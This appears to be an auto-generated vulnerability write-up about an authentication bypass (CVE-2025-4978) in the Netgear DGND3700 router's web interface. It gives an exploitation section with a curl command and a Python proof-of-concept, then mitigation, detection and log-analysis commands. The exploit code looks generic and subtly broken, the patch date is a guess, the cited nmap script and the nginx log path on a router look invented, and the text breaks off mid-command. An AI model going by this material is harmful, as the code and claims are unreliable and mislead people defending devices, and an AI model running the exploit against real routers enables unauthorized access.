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How CVE-2025-4978 Works
This critical vulnerability in Netgear DGND3700 (v1.1.00.15_1.00.15NA) stems from weak authentication in /BRS_top.html. Attackers bypass Basic Authentication via crafted HTTP requests, exploiting improper session validation. The flaw allows remote unauthenticated access due to missing credential checks in the firmware’s web interface. CVSS 4.0 rates it 9.3 (AV:N/AC:L) as it enables full device compromise without user interaction.
DailyCVE Form
Platform: Netgear DGND3700
Version: 1.1.00.15_1.00.15NA
Vulnerability: Authentication Bypass
Severity: Critical
Date: 2025-06-12
Prediction: Patch by 2025-08-30
What Undercode Say:
Exploitation
curl -X POST "http://<TARGET_IP>/BRS_top.html" -H "Authorization: Basic invalid" --data "cmd=admin_access"
PoC Python Script:
import requests
target = "http://192.168.1.1/BRS_top.html"
headers = {"Authorization": "Basic YWRtaW46"}
response = requests.post(target, headers=headers)
if "Admin Panel" in response.text:
print("[+] Exploit successful")
Mitigation
1. Immediate Workaround:
“`iptables -A INPUT -p tcp –dport 80 -j DROP“`
2. Vendor Fix: Await firmware update; monitor Netgear advisory.
Detection
“`nmap -p 80 –script http-vuln-cve2025-4978 “`
Log Analysis
Check for failed auth attempts:
“`grep “BRS_top.html” /var/log/nginx/access.log | grep ” 401″“`
Patch Verification
After update, confirm fixed version:
“`curl -I http://
References
Note: Disable remote admin access until patched.
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
